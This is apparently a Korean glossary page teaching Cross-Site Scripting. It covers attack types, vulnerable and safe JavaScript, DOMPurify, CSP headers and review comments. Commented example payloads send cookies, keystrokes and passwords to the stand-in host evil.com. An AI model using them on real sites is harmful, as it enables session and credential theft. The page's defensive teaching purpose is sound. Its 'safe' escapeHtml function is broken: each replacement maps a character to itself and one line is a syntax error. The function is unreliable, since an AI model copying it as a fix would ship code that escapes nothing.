XSS
Cross-Site Scripting
웹 애플리케이션에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행시키는 공격입니다. 쿠키 탈취, 세션 하이재킹, 피싱 등에 악용되며 OWASP Top 10에 포함됩니다.
Cross-Site Scripting
웹 애플리케이션에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행시키는 공격입니다. 쿠키 탈취, 세션 하이재킹, 피싱 등에 악용되며 OWASP Top 10에 포함됩니다.
XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 악성 스크립트를 주입하여, 해당 페이지를 방문하는 다른 사용자의 브라우저에서 실행시키는 공격 기법입니다. "스크립트 주입 공격"이라고도 불리며, 웹 애플리케이션이 사용자 입력을 제대로 검증하지 않을 때 발생합니다. 공격에 성공하면 사용자의 쿠키, 세션 토큰, 개인 정보 탈취가 가능합니다.
XSS는 세 가지 유형으로 분류됩니다. Reflected XSS(반사형)는 악성 스크립트가 URL 파라미터 등을 통해 서버에 전송되고, 즉시 응답 페이지에 포함되어 반환됩니다. 피싱 이메일의 링크를 통해 많이 활용됩니다. Stored XSS(저장형)는 악성 스크립트가 서버 데이터베이스에 저장되어 해당 페이지를 방문하는 모든 사용자에게 영향을 미칩니다. 게시판 댓글, 프로필 등에서 발생하며 가장 위험합니다. DOM-based XSS는 서버를 거치지 않고 클라이언트 측 JavaScript가 직접 DOM을 조작할 때 발생합니다.
XSS 방어의 핵심은 "신뢰할 수 없는 데이터를 안전하게 처리"하는 것입니다. 출력 인코딩(Output Encoding)은 HTML 컨텍스트에서 <, >, & 등을 HTML 엔티티로 변환합니다. CSP(Content Security Policy)는 HTTP 헤더로 스크립트 실행 출처를 제한합니다. HttpOnly 쿠키는 JavaScript에서 쿠키 접근을 차단하여 쿠키 탈취를 방지합니다. 입력 검증(Input Validation)은 허용된 형식만 받아들이지만, 이것만으로는 불충분합니다.
프레임워크마다 XSS 방어 기능이 내장되어 있습니다. React는 기본적으로 JSX 내 값을 이스케이프하고, dangerouslySetInnerHTML을 명시적으로 사용해야 raw HTML을 렌더링합니다. Vue.js의 v-html, Angular의 [innerHTML]도 마찬가지입니다. 하지만 URL 속성(href, src)에 javascript: 프로토콜을 넣는 공격은 별도로 방어해야 합니다.
// ❌ XSS 취약한 코드 예시들
// 1. innerHTML에 사용자 입력 직접 삽입
function displayUserComment(comment) {
// 위험: comment에 <script>alert('XSS')</script> 포함 가능
document.getElementById('comments').innerHTML = comment;
}
// 2. URL 파라미터를 그대로 출력
// URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
const urlParams = new URLSearchParams(window.location.search);
const searchQuery = urlParams.get('q');
document.getElementById('result').innerHTML = `검색어: ${searchQuery}`;
// 3. eval() 또는 Function() 사용
const userInput = "alert('XSS')";
eval(userInput); // 절대 금지!
// 4. href에 javascript: 프로토콜 허용
const userUrl = "javascript:alert('XSS')";
document.getElementById('link').href = userUrl;
// 5. 템플릿 리터럴로 HTML 생성
function renderProfile(user) {
return `
<div class="profile">
<h2>${user.name}</h2> // 위험!
<p>${user.bio}</p> // 위험!
</div>
`;
}
// 6. jQuery .html() 메서드
$('#output').html(userInput); // 위험!
// === XSS 공격 페이로드 예시 ===
// (교육 목적, 실제 공격에 사용 금지)
// 쿠키 탈취
// <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
// 키로거
// <script>document.onkeypress=function(e){new Image().src='https://evil.com/log?k='+e.key}</script>
// 피싱 폼 삽입
// <div><form action="https://evil.com/phish">비밀번호:<input name="pw"></form></div>
// ✅ XSS 안전한 코드 예시들
// 1. textContent 사용 (HTML 해석 안 함)
function displayUserComment(comment) {
document.getElementById('comments').textContent = comment;
// <script> 태그도 텍스트로 표시됨
}
// 2. HTML 이스케이프 함수
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
const safeComment = escapeHtml(userComment);
element.innerHTML = safeComment;
// 3. DOMPurify 라이브러리 사용 (HTML 허용 필요 시)
import DOMPurify from 'dompurify';
function displayRichContent(html) {
const cleanHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
document.getElementById('content').innerHTML = cleanHtml;
}
// 4. URL 검증 (javascript: 프로토콜 차단)
function isValidUrl(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
}
function setLink(url) {
if (isValidUrl(url)) {
document.getElementById('link').href = url;
} else {
console.error('Invalid URL');
}
}
// 5. React에서 안전하게 처리
function Comment({ text }) {
// 기본적으로 이스케이프됨
return <p>{text}</p>;
}
// HTML 렌더링 필요 시 DOMPurify 사용
function RichComment({ html }) {
const cleanHtml = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
// 6. 서버 사이드 (Node.js Express)
const express = require('express');
const xss = require('xss');
app.post('/comment', (req, res) => {
// 입력 살균
const cleanComment = xss(req.body.comment);
// 저장...
});
// 7. 템플릿 엔진 자동 이스케이프 (EJS)
// <%= user.name %> 자동 이스케이프
// <%- user.name %> 이스케이프 안 함 (위험!)
CSP (Content Security Policy) 설정
====================================
# HTTP 헤더로 설정
Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
# HTML meta 태그로 설정
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
=== CSP 지시문 설명 ===
default-src 'self'
기본: 같은 출처에서만 로드
script-src 'self' https://cdn.example.com
스크립트: 자체 + 특정 CDN만 허용
script-src 'self' 'nonce-abc123'
인라인 스크립트: nonce 일치 시만 실행
<script nonce="abc123">...</script>
script-src 'self' 'sha256-hash...'
특정 해시값의 스크립트만 허용
style-src 'self' 'unsafe-inline'
인라인 스타일 허용 (XSS 위험 낮음)
img-src * data:
이미지: 모든 출처 + data URI 허용
connect-src 'self'
AJAX/WebSocket: 같은 출처만
frame-ancestors 'none'
iframe 삽입 금지 (클릭재킹 방어)
upgrade-insecure-requests
HTTP를 HTTPS로 자동 업그레이드
=== Node.js Express 설정 ===
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
}));
// 동적 nonce 생성
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
next();
});
=== 보고 전용 모드 (테스트용) ===
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// 위반 시 report-uri로 JSON 리포트 전송
// 정책 위반해도 차단하지 않음 (테스트용)
"이 부분에서 innerHTML에 사용자 입력을 직접 넣고 있네요. Stored XSS 취약점입니다. textContent로 바꾸거나, HTML이 필요하면 DOMPurify로 살균 후 삽입해주세요. 그리고 CSP 헤더도 추가해서 인라인 스크립트 실행을 차단합시다."
"이번 릴리스에서 XSS 취약점 3건이 발견됐습니다. 댓글 기능에서 Stored XSS, 검색 기능에서 Reflected XSS가 있었어요. 모든 출력 지점에서 컨텍스트에 맞는 인코딩을 적용하고, CSP를 strict하게 설정하겠습니다."
"XSS 방어는 출력 인코딩이 핵심입니다. HTML 컨텍스트에서는 <, >를 엔티티로, JavaScript 컨텍스트에서는 JSON.stringify, URL 컨텍스트에서는 encodeURIComponent를 사용합니다. 그리고 CSP로 인라인 스크립트를 차단하면 설령 XSS가 있어도 실행이 어렵습니다."
element.innerHTML = userInput은 XSS의 가장 흔한 원인입니다. textContent를 사용하거나, HTML 필요 시 DOMPurify로 살균하세요.
입력 검증(블랙리스트)만으로는 XSS를 완전히 막을 수 없습니다. 다양한 우회 기법이 존재합니다. 출력 인코딩이 필수입니다.
문자열을 코드로 실행하는 함수는 XSS 공격 벡터입니다. 사용자 입력이 포함될 가능성이 있다면 절대 사용하지 마세요.
컨텍스트별 출력 인코딩, CSP 헤더 적용, HttpOnly 쿠키, 프레임워크 자동 이스케이프 활용, DOMPurify로 HTML 살균, 정기적 보안 스캔.